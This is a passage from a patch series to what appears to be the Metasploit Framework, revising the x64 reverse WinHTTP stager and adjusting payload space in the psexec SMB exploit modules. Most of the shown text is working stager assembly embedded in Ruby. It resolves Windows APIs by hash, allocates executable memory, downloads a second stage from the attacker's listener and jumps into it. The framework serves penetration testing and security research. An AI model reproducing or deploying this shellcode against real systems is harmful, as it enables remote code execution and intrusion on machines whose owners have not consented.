#{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')} - call rbp - test eax, eax ; use eax, it's 1 byte less than rax - jnz check_response ; if TRUE call WinHttpReceiveResponse API - - try_it_again: - dec edi ; use edi, it's 1 byte less than rdi - jnz send_request - - ; if we didn't allocate before running out of retries, fall through - ^ - if opts[:exitfunk] asm << %Q^ failure: @@ -350,18 +327,23 @@ module Payload::Windows::ReverseWinHttp_x64 ^ else asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call rbp + ; hard-coded to ExitProcess(whatever) for size + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} + call rbp ; ExitProcess(whatever) ^ end - # Jump target if the request was sent successfully asm << %Q^ - check_response: + handle_response: + mov rcx, rsi ; hRequest + push rbx + pop rdx ; lpReserved (NULL) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')} ; WinHttpReceiveResponse + call rbp + test eax, eax ; make sure the request succeeds + jz failure ^ - # Verify the SSL certificate hash if verify_ssl asm << %Q^ ssl_cert_get_context: @@ -373,9 +355,9 @@ module Payload::Windows::ReverseWinHttp_x64 ; so we won't worry about doing it, it'll save us bytes! mov r8, rsp ; Stack pointer (lpBuffer) mov r14, r8 ; Back the stack pointer up for later use + push rbx ; 0 for alignment push 8 ; One whole pointer mov r9, rsp ; Stack pointer (lpdwBufferLength) - push rbx ; 0 for alignment mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')} call rbp test eax, eax ; use eax instead of rax, saves a byte @@ -399,7 +381,6 @@ module Payload::Windows::ReverseWinHttp_x64 ssl_cert_start_verify: call ssl_cert_compare_hashes db #{encoded_cert_hash} - ssl_cert_compare_hashes: pop rax ; get the expected hash xchg rax, rsi ; swap hash and handle for now @@ -414,59 +395,45 @@ module Payload::Windows::ReverseWinHttp_x64 end asm << %Q^ - receive_response: - ; The API WinHttpReceiveResponse needs to be called - ; first to get a valid handle for WinHttpReadData - mov rcx, rsi ; Handle to the request (hRequest) - ; the push/pop sequence saves a byte over XOR - push rbx ; push 0 - pop rdx ; NULL (lpReserved) - mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')} - call rbp - test eax, eax ; use eax instead of rax, saves a byte - jz failure - allocate_memory: - ; the push/pop sequence saves a byte over XOR - push rbx ; push 0 - pop rcx ; NULL (lpAddress) - ; rdx should already be zero, so we can save two bytes by using edx here - mov edx, 0x00400000 ; 4mb for stage (dwSize) - mov r8, 0x1000 ; MEM_COMMIT (flAllocationType) - push 0x40 ; PAGE_EXECUTE_READWRITE - pop r9 ; (flProtect) - mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} - call rbp ; Call VirtualAlloc(...); + push rbx + pop rcx ; lpAddress (NULL) + push 0x40 + pop rdx + mov r9, rdx ; flProtect (0x40=PAGE_EXECUTE_READWRITE) + shl edx, 16 ; dwSize + mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT) + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; VirtualAlloc + call rbp download_prep: - xchg rax, rbx ; place the allocated base address in rbx - push rbx ; store a copy of the stage base address on the stack - push rbx ; temporary storage for bytes read count - mov rdi, rsp ; &bytesRead + xchg rax, rbx ; store the allocated base in rbx + push rbx ; store a copy for later + push rbx ; temp storage for byte count + mov rdi, rsp ; rdi is the &bytesRead download_more: - mov rcx, rsi ; Handle to the request (hFile) - mov rdx, rbx ; Buffer pointer (lpBuffer) - mov r8, 8192 ; Size (dwNumberOfBytesToRead) - mov r9, rdi ; Size received (lpNumberOfBytesRead) - mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} + mov rcx, rsi ; hRequest (request handle) + mov rdx, rbx ; lpBuffer (pointer to mem) + mov r8, 8192 ; dwNumberOfBytesToRead (8k) + mov r9, rdi ; lpdwNumberOfByteRead (stack pointer) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} ; WinHttpReadData call rbp add rsp, 32 ; clean up reserved space - test eax, eax ; use eax instead of rax, saves a byte + test eax, eax ; did the download fail? jz failure - mov ax, word ptr [rdi] ; load the bytes read - ; Use eax/ebx here, saves a byte. Don't need higher order bytes. - add ebx, eax ; buffer += bytes_received + mov ax, word ptr [rdi] ; extract the read byte count + add rbx, rax ; buffer += bytes read - test eax, eax ; use eax instead of rax, saves a byte - jnz download_more ; continue until it returns 0 - pop rax ; clear the temporary storage - pop rax ; clear the temporary storage + test eax, eax ; are we done? + jnz download_more ; keep going + pop rax ; clear up reserved space + pop rax ; realign again execute_stage: - ret ; dive into the stored stage address + ret ; return to the stored stage address ^ if opts[:exitfunk] From 6859b24c1c49bd262af008f6241e59325583ca3e Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2015 15:42:31 +1000 Subject: [PATCH 26/27] Fix missing label, update payload sizes --- lib/msf/core/payload/windows/x64/reverse_winhttp.rb | 1 + modules/payloads/stagers/windows/x64/reverse_http.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_https.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_winhttp.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_winhttps.rb | 2 +- 5 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 230f4044d0..381657c065 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -327,6 +327,7 @@ module Payload::Windows::ReverseWinHttp_x64 ^ else asm << %Q^ + failure: ; hard-coded to ExitProcess(whatever) for size mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call rbp ; ExitProcess(whatever) diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index be9d00f22d..8b15646f81 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_http' module Metasploit4 - CachedSize = 487 + CachedSize = 486 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 00548e4c13..08117499f4 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module Metasploit4 - CachedSize = 521 + CachedSize = 517 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb index e02eeb25ee..2aa70a863d 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttp' module Metasploit4 - CachedSize = 503 + CachedSize = 510 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb index bdccdf5ef1..cdd9b381f0 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttps' module Metasploit4 - CachedSize = 540 + CachedSize = 541 include Msf::Payload::Stager include Msf::Payload::Windows From 44f8cf41240bf7836533fe60b419d01ff8f38ff3 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2015 17:07:56 +1000 Subject: [PATCH 27/27] Add more size to stagers, adjust psexec payloads This psexec payload size should be evaluated to make sure I'm not doing anything stupid. i can't see a reason why increasing these sizes would be bad. They seem to work fine. --- lib/msf/core/payload/windows/reverse_winhttp.rb | 7 +++++-- lib/msf/core/payload/windows/x64/reverse_winhttp.rb | 7 +++++-- modules/exploits/windows/smb/psexec.rb | 2 +- modules/exploits/windows/smb/psexec_psh.rb | 2 +- 4 files changed, 12 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index ba3496a166..bfd9d130fe 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -76,8 +76,11 @@ module Payload::Windows::ReverseWinHttp # Add 100 bytes for the encoder to have some room space += 100 - # Make room for the maximum possible URL length - space += 256 + # Make room for the maximum possible URL length (wchars) + space += 512 * 2 + + # proxy (wchars) + space += 128 * 2 # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) space += 31 diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 381657c065..9fe09ac40f 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -73,8 +73,11 @@ module Payload::Windows::ReverseWinHttp_x64 # Add 100 bytes for the encoder to have some room space += 100 - # Make room for the maximum possible URL length - space += 256 + # Make room for the maximum possible URL length (wchars) + space += 512 * 2 + + # proxy (wchars) + space += 128 * 2 # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) space += 31 diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 35bbbeff6f..a0583554d6 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'Space' => 2048, + 'Space' => 3072, 'DisableNops' => true, 'StackAdjustment' => -3500 }, diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 580d26d9f7..05134ef2ef 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Payload' => { - 'Space' => 2048, + 'Space' => 3072, 'DisableNops' => true }, 'Platform' => 'win',